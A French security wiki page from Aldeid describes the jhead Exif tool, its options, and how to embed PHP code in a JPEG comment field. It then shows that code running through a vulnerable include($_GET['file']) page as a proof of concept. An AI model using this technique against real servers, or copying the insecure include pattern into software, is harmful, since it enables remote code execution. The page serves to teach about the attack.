From Aldeid
Contents |
Description
Jhead est un programme de manipulation des en-têtes Exif des images au format jpeg. Cet outil permet entre autre de placer du code PHP dans l'en-tête d'un image. Cette dernière pourra être par la suite envoyée sur un serveur distant, et le code qu'elle contient, exploité.
Une image au format jpeg contient un en-tête et les données propres à l'image. L'en-tête est lui-même composé de plusieurs sections, permettant l'identification de l'image, comme le montre la figure suivante :
Image jpeg +---------+---------+---------+---------+--------------------------------+ | Champ | Section | Section | Section | Données | | Commen | Exif | IPTC | XMP | JPEG | | -taires | | | | | +---------+---------+---------+---------+--------------------------------+
Installation
Installation de JHead
$ cd /usr/local/src/ $ wget http://www.sentex.net/~mwandel/jhead/jhead-latest.tar.gz $ tar xzvf jhead-latest.tar.gz $ cd jhead-2.855/ $ make
Autres outils
- Exiftools: sudo apt-get install libimage-exiftool-perl
- Online Exif analyzer: http://regex.info/exif.cgi
- Exif plugin for Google Chrome: https://chrome.google.com/extensions/detail/degoicjbkidnmcfidnohffepopnhhpkk?hl=en
Utilisation
La syntaxe de base est la suivante :
./jhead [options] files
Aucune option
Lecture de l'en-tête de l'image (Appel de jhead sans option) :
# ./jhead test.jpg
File name : test.jpg
File size : 57624 bytes
File date : 2008:12:09 19:08:41
Resolution : 300 x 432
Color/bw : Black and white
Comment : File written by Adobe Photoshop 5.0
======= IPTC data: =======
Record vers. : 2
Caption : 4.1.1
-dc
Cette option permet de supprimer le contenu du champ de commentaires
# ./jhead -dc test.jpg
Modified: test.jpg
# ./jhead test.jpg
File name : test.jpg
File size : 57584 bytes
File date : 2008:12:09 19:08:41
Resolution : 300 x 432
Color/bw : Black and white
======= IPTC data: =======
Record vers. : 2
Caption : 4.1.1
-de
Supprime le contenu de la section Exif
-di
Supprime le contenu de la section IPTC
-dx
Supprime le contenu de la section XMP
-du
Supprimer le contenu des sections IPTC et XMP
-purejpg
Raccourci de la combinaison des commandes -dc -de -du
-ce
Edite le contenu de l'en-tête de l'image
-cl
Edition littérale du champ de commentaires (permet l'injection de code)
Exemple :
# ./jhead -cl '<?php ob_clean();phpinfo();die();?>' test.jpg
Modified: test.jpg
# ./jhead test.jpg
File name : test.jpg
File size : 57307 bytes
File date : 2008:12:09 19:08:41
Date/Time : 2008:12:09 19:08:41
Resolution : 300 x 432
Color/bw : Black and white
Comment : <?php ob_clean();phpinfo();die();?>
======= IPTC data: =======
Record vers. : 2
Caption : 4.1.1
Exemple d'attaque
Dans l'exemple qui suit, l'en-tête de l'image a été modifié avec jhead pour y inclure le code suivant :
<?php ob_clean();phpinfo();die(); ?>
|
L'image est appelée via le code suivant : <html> <body> <img src="test.jpg" /> </body> </html> |
|
|
La même image est incluse dans le code PHP : <?php include($_GET["file"]); ?> L'image est appelée dans l'URL directement par l'URL suivante : http://localhost/jhead.php?file=test.jpg Le code PHP que contient son en-tête est alors interprété |












